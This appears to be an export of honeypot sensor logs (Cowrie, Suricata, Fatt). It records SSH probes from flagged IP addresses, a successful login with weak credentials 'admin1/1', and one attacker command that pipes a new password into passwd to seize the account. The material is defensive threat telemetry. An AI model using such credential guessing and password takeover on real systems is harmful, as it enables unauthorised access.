34258	81.70.175.230	109.199.241.180	Suricata	2021-09-20 14:59:53.681913+03	2021-09-20 15:00:06.903059+03	{"_id": "kAYTA3wBvYTbRNuEsVQ1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.70.175.230", "dest_ip": "192.168.20.116", "flow_id": 732147903698638, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34194, "dest_port": 22, "timestamp": "2021-09-20T11:59:53.681913Z", "@timestamp": "2021-09-20T11:59:53.681Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
34344	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:30.225931+03	2021-09-20 15:15:01.777145+03	{"_id": "cQYUA3wBvYTbRNuEPFXB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:30.225931Z", "@timestamp": "2021-09-20T12:00:30.225Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	HK
34259	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:59:55.919984+03	2021-09-20 15:00:06.904059+03	{"_id": "mQYTA3wBvYTbRNuEt1Tb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "759c89d58a82", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:59:55.919984Z", "@timestamp": "2021-09-20T11:59:55.919Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
34260	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:59:55.939401+03	2021-09-20 15:00:06.90506+03	{"_id": "mAYTA3wBvYTbRNuEt1Tb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.login.success", "message": "login attempt [admin1/1] succeeded", "session": "318d499fe0dd", "@version": "1", "password": "1", "username": "admin1", "timestamp": "2021-09-20T11:59:55.939401Z", "@timestamp": "2021-09-20T11:59:55.939Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	\N
34261	176.122.188.154	109.199.241.180	Suricata	2021-09-20 14:59:56.093494+03	2021-09-20 15:00:06.907059+03	{"_id": "nAYTA3wBvYTbRNuEuVQG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:59:55.746146+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.122.188.154", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 334335147991714, "payload": "AAADzAYUUKRGZ1G5huOSgf9TIYEcVwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35858, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:59:56.093494Z", "@timestamp": "2021-09-20T11:59:56.093Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......P.FgQ......S!..W...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
34262	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:59:55.922101+03	2021-09-20 15:00:06.90806+03	{"_id": "ngYTA3wBvYTbRNuEulQN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "176.122.188.154", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35858, "timestamp": "2021-09-20T11:59:55.922101", "@timestamp": "2021-09-20T11:59:55.922Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34263	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:59:57.187188+03	2021-09-20 15:00:06.909059+03	{"_id": "pQYTA3wBvYTbRNuEu1TD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 81.70.175.230:34582 (192.168.176.2:22) [session: d99213aaa37f]", "session": "d99213aaa37f", "@version": "1", "protocol": "ssh", "src_port": 34582, "dest_port": 22, "timestamp": "2021-09-20T11:59:57.187188Z", "@timestamp": "2021-09-20T11:59:57.187Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
34264	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:01.226231+03	2021-09-20 15:15:01.672693+03	{"_id": "uAYTA3wBvYTbRNuEy1Rn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.session.params", "message": [], "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:01.226231Z", "@timestamp": "2021-09-20T12:00:01.226Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
34367	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:28.717955+03	2021-09-20 15:15:01.805145+03	{"_id": "ZwYUA3wBvYTbRNuEOFXZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:28.717955Z", "@timestamp": "2021-09-20T12:00:28.717Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	HK
34265	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:01.767742+03	2021-09-20 15:15:01.674694+03	{"_id": "xwYTA3wBvYTbRNuEz1RP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "src_ip": "81.70.175.230", "ttylog": "log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0 seconds", "session": "318d499fe0dd", "@version": "1", "duration": 0.541637659072876, "duplicate": true, "timestamp": "2021-09-20T12:00:01.767742Z", "@timestamp": "2021-09-20T12:00:01.767Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
34266	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:00:01.82338+03	2021-09-20 15:15:01.676694+03	{"_id": "ywYTA3wBvYTbRNuE0FR5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:00:01.810216+0000", "pkts_toclient": 2, "pkts_toserver": 4, "bytes_toclient": 145, "bytes_toserver": 492}, "host": "1ebe93606296", "http": {"url": "/API/post", "length": 0, "status": 100, "hostname": "78.83.66.198", "protocol": "HTTP/1.1", "http_port": 8000, "http_method": "POST", "http_user_agent": "curl/7.64.0"}, "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "category": "Potential Corporate Privacy Violation", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 1, "signature": "ET POLICY HTTP Request on Unusual Port Possibly Hostile", "signature_id": 2006408}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "78.83.66.198", "flow_id": 1423223174552808, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["BS.SSL.Known.Port", "FB180732_0", "ET.formdata", "et.httpproto", "ET.knowitsnothttpnow"]}, "src_port": 57682, "app_proto": "http", "dest_port": 8000, "timestamp": "2021-09-20T12:00:01.823380Z", "@timestamp": "2021-09-20T12:00:01.823Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34267	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:03.075653+03	2021-09-20 15:15:01.678694+03	{"_id": "0QYTA3wBvYTbRNuE01Q4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "echo \\"1\\\\noCQucX5kRRMk\\\\noCQucX5kRRMk\\\\n\\"|passwd", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.command.input", "message": "CMD: echo \\"1\\\\noCQucX5kRRMk\\\\noCQucX5kRRMk\\\\n\\"|passwd", "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:03.075653Z", "@timestamp": "2021-09-20T12:00:03.075Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
34268	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:02.691595+03	2021-09-20 15:15:01.679694+03	{"_id": "zwYTA3wBvYTbRNuE01Q4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 32, "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5260a77a2ac0b826a1a05163c6336dcd7c0c7c25ff8d81abdc221438163079a5", "src_ip": "81.70.175.230", "ttylog": "log/tty/5260a77a2ac0b826a1a05163c6336dcd7c0c7c25ff8d81abdc221438163079a5", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5260a77a2ac0b826a1a05163c6336dcd7c0c7c25ff8d81abdc221438163079a5 after 0 seconds", "session": "318d499fe0dd", "@version": "1", "duration": 0.5488748550415039, "duplicate": false, "timestamp": "2021-09-20T12:00:02.691595Z", "@timestamp": "2021-09-20T12:00:02.691Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
34269	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:03.618563+03	2021-09-20 15:15:01.680693+03	{"_id": "0wYTA3wBvYTbRNuE11Qh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 25, "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "3459780c413ac221c50c116ee55808025bae08800b02089d5665a0ff63ea12fc", "src_ip": "81.70.175.230", "ttylog": "log/tty/3459780c413ac221c50c116ee55808025bae08800b02089d5665a0ff63ea12fc", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/3459780c413ac221c50c116ee55808025bae08800b02089d5665a0ff63ea12fc after 0 seconds", "session": "318d499fe0dd", "@version": "1", "duration": 0.5435419082641602, "duplicate": false, "timestamp": "2021-09-20T12:00:03.618563Z", "@timestamp": "2021-09-20T12:00:03.618Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
34270	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:05.178871+03	2021-09-20 15:15:01.681694+03	{"_id": "1wYTA3wBvYTbRNuE21QK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.session.params", "message": [], "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:05.178871Z", "@timestamp": "2021-09-20T12:00:05.178Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
34271	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:05.722399+03	2021-09-20 15:15:01.683693+03	{"_id": "2QYTA3wBvYTbRNuE3lTy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "81.70.175.230", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "318d499fe0dd", "@version": "1", "duration": 0.5436105728149414, "duplicate": true, "timestamp": "2021-09-20T12:00:05.722399Z", "@timestamp": "2021-09-20T12:00:05.722Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
34272	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 15:00:06.99412+03	2021-09-20 15:15:01.684693+03	{"_id": "4AYTA3wBvYTbRNuE4lTb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 189.50.42.214:58421 (192.168.176.2:22) [session: f7461e09f685]", "session": "f7461e09f685", "@version": "1", "protocol": "ssh", "src_port": 58421, "dest_port": 22, "timestamp": "2021-09-20T12:00:06.994120Z", "@timestamp": "2021-09-20T12:00:06.994Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	BR
34273	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:00:01.854923+03	2021-09-20 15:15:01.685694+03	{"_id": "zQYTA3wBvYTbRNuE0FR6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "http": {"url": "/API/post", "length": 0, "status": 100, "hostname": "78.83.66.198", "protocol": "HTTP/1.1", "http_port": 8000, "http_method": "POST", "http_user_agent": "curl/7.64.0"}, "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "dest_ip": "78.83.66.198", "flow_id": 1423223174552808, "@version": "1", "fileinfo": {"gaps": false, "size": 102205, "magic": "ASCII text, with very long lines", "state": "TRUNCATED", "tx_id": 0, "stored": false, "filename": "data.json"}, "in_iface": "enp5s0", "src_port": 57682, "app_proto": "http", "dest_port": 8000, "timestamp": "2021-09-20T12:00:01.854923Z", "@timestamp": "2021-09-20T12:00:01.854Z", "event_type": "fileinfo", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	fileinfo	\N	\N
